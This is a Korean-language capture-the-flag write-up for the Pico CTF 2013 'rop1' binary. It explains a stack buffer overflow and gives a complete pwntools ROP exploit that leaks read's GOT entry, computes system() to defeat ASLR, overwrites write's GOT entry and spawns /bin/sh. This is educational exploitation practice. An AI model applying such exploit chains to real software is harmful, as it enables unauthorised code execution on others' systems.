Pico CTF 2013 ROP1 write-up
좀 더 쉬운 ROP 문제를 풀어보기 위해 Pico CTF 2013 rop1이라는 문제를 풀어보았다.
[바이너리]
NX bit 가 걸려있고, Partial RELRO가 걸려있다.
NX bit로 인해서 Stack에 실행 권한이 없기 때문에 내가 아는 쉘코드를 이용하는 방법은 할 수 없다.
Partial RELRO는 got 섹션을 제외한 섹션에 읽기 권한을 걸어주는 기법이지만
got는 제외되기 때문에 GOT Overwirte를 할 수 있다.
정적분석을 위해 IDA로 열어본다.
먼저 main() 을 확인해보면 간단하게 두 함수를 호출하고, vulnerable_function() 이 눈에 띈다.
어떤 함수인지 확인하기 위해 보면
bof 취약점이 존재한다는것을 확인할 수 있다.
char buf는 할당된 공간이 136 byte 인데 read() 로 256 byte 받게 되어있기 때문에 bof가 발생한다.
그리고 함수 목록을 보다가
not_called 라는 함수가 존재하는것을 확인할 수 있었다.
ROP 문제라고 기대를 했지만 아닌듯 하다.
쉘을 띄우는 함수이다.
A를 SFP 까지 (140byte) 덮고,
not_called 함수의 주소를 ret 주소에 덮어주면 될듯하다.
gdb 로 열어 not_called의 주소를 알아내고,
익스하면
쉘을 띄울 수 있다.
위 공격방법보다는 ROP를 공부하고 있으니 ROP로 풀이해보았다.
read() 와 write()를 이용할것이므로
read() 와 write()는 gdb 와 IDA를 이용하여 plt, got 주소를 구해줬고,
bss와 pppr gadget은 objdump를 이용하여 각각 구해줬다.
또 ASLR을 우회하기 위해 system()를 read()와의 offset을 이용하여 구해줬다.
[payload]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | from pwn import * p = process('./rop1-fa6168f4d8eba0eb') # objdump -h [binary] | grep bss bss = 0x0804a024 # objdump -d [binary] | grep -B4 'ret' pppr = 0x804859d # read() - system() system_offset = 0x99a10 # gdb & IDA write_plt = 0x80483d0 write_got = 0x804a014 read_plt = 0x8048380 read_got = 0x804a000 # input A into SFP payload = "A" * 140 # read() address leak payload += p32(write_plt) payload += p32(pppr) payload += p32(1) payload += p32(read_got) payload += p32(4) # to send bss /bin/sh\00 payload += p32(read_plt) payload += p32(pppr) payload += p32(0) payload += p32(bss) payload += p32(8) # GOT Overwrite : write_got -> system() address payload += p32(read_plt) payload += p32(pppr) payload += p32(0) payload += p32(write_got) payload += p32(4) # call system(bss) -> system(/bin/sh\00) payload += p32(write_plt) payload += "AAAA" payload += p32(bss) p.send(payload) # receive read_addr big endian read_addr = u32(p.recv()[-4:]) system_addr = read_addr - system_offset p.send('/bin/sh\00') # send system() address little endian p.send(p32(system_addr)) p.interactive() |
[shell]